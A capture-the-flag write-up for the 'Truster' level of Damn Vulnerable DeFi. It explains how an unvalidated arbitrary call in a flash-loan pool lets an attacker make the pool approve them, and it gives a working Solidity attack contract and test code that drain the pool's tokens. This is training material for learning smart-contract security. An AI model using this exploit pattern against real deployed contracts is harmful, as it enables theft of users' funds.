Damn Vulnerable DeFi | 3 - Truster
DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"
Table of contents
Goals
In the Truster challenge, we have to drain 1 million DVT tokens from the flash loan pool. So pretty high stakes! Let's see how to achieve that.
The Contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}
A much shorter code base this time!
Let's note that the contract inherits from Address.sol
and ReentrancyGuard.sol
from the OpenZeppelin library, so most likely nothing to exploit there. It also inherits from the DamnValuableToken.sol
which is a very basic ERC20 token based on the solmate library.
The Hack
There is only one function in the TrusterLenderPool
contract, so it seems quite fair to start there! What is happening exactly in the flashloan()
function, and what could go wrong?
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
While the function does check the balance before and make sure the loan is repaid, the first thing that jumps out is THE LACK OF INPUTS VALIDATION! It is the third challenge in a row with the same mistake, so we most likely want to keep that in mind...
There really is only one interesting line here:
target.functionCall(data);
The functionCall()
method comes from the inherited Address
contract. Here it is for reference:
/**
* @dev Performs a Solidity function call using a low-level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {Errors.FailedCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0);
}
So what does it mean? What exactly can we do with that?
It means that we can make an external call to the target
address with some custom data input. And it happens that our target
address containing our 1 million DVT chest is this lending pool. So we are allowed to execute any function within the TrusterLenderPool
context... which includes the inherited contract.
A decent knowledge of the ERC20 token standard is needed for what comes next. The ERC20 standard defines 2 ways to transfer tokens from one address to another:
transfer(address to, uint256 value)
allows to move token that you own directly;transferFrom(address from, address to, uint256 value)
allows another address to move your tokens on your behalf. Since this is obviously dangerous, it requires an approval before the transfer can be executed.
When you do a token swap on Uniswap, you approve the Uniswap contract to execute the swap on your behalf and grab the tokens in your wallet.
In other words, we do not really need the loan to empty the Truster pool, we can't bypass the balance before/after checks anyway. However, we can use the data arguments to approve a malicious contract, and then trigger a transferFrom()
to drain the pool!
Solution
Let's implement the Truster solution accordingly. We can craft a contract that will handle the logic as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
interface IPool {
function flashLoan(
uint256 amount,
address borrower,
address target,
bytes calldata data
) external returns (bool);
}
interface IToken {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
contract Attack3 {
address private immutable pool;
address private immutable player;
IToken private immutable token;
constructor(address _pool, address _player, address _token) {
pool = _pool;
player = _player;
token = IToken(_token);
}
function attack() external {
uint256 balance = token.balanceOf(pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
balance
);
IPool(pool).flashLoan(0, address(this), address(token), data);
token.transferFrom(pool, player, balance);
}
}
And edit the truster.challenge.js
page as follows:
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const Attack3 = await ethers.getContractFactory("Attack3", deployer);
const attack3 = await Attack3.deploy(
pool.address,
player.address,
token.address
);
await attack3.attack();
});
Then we can run the test with the following command:
yarn truster
And we get the following printed in the terminal:
Congrats! You just beat the level 3 of Damn Vulnerable DeFi.
๐ Level completed ๐
Takeaway
Always validate all sensitive inputs before executing any logic (I think I already mentioned that in the previous challenge though...).
Disable 0 amount.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions